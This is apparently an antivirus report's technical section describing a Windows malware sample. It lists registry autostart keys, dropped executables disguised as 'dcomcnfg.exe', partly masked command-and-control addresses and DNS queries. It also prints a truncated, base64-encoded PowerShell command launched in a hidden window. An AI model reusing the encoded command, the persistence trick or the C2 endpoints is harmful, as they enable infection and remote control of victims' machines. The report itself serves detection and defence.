Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\dcomcnfg] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\dcomcnfg] 'ImagePath' = '"%WINDIR%\SysWOW64\KBDMAORI\dcomcnfg.exe"'
- 'dcomcnfg' "%WINDIR%\SysWOW64\KBDMAORI\dcomcnfg.exe"
- 'dcomcnfg' %WINDIR%\SysWOW64\KBDMAORI\dcomcnfg.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABXADEAdQB5AGgAdwB5AD0AWwBjAGgAYQByAF0ANAAyADsAJABSAHAANwAzAGoAaQAxAD0AKAAoACcAVgAnACsAJwBzAHUAJwApACsAKAAnAHMAZgBxACcAKwAnAG4AJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAJw...
- %HOMEPATH%\p9jtz3p\r9gyyj1\i3d47k.exe
- %WINDIR%\syswow64\kbdmaori\dcomcnfg.exe
- %HOMEPATH%\p9jtz3p\r9gyyj1\i3d47k.exe в %WINDIR%\syswow64\kbdmaori\dcomcnfg.exe
- '18#.#57.101.114':80
- http://ri###utra.com/img/YX1/
- http://sw###ecure.com/vsim-henry/r/
- http://18#.#57.101.114/J3gz7pT3T/R6g9lfoHRmauJbXI/
- DNS ASK ri###utra.com
- DNS ASK sw###ecure.com
- '%HOMEPATH%\p9jtz3p\r9gyyj1\i3d47k.exe'
- '%WINDIR%\syswow64\kbdmaori\dcomcnfg.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABXADEAdQB5AGgAdwB5AD0AWwBjAGgAYQByAF0ANAAyADsAJABSAHAANwAzAGoAaQAxAD0AKAAoACcAVgAnACsAJwBzAHUAJwApACsAKAAnAHMAZgBxACcAKwAnAG4AJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAJw...' (со скрытым окном)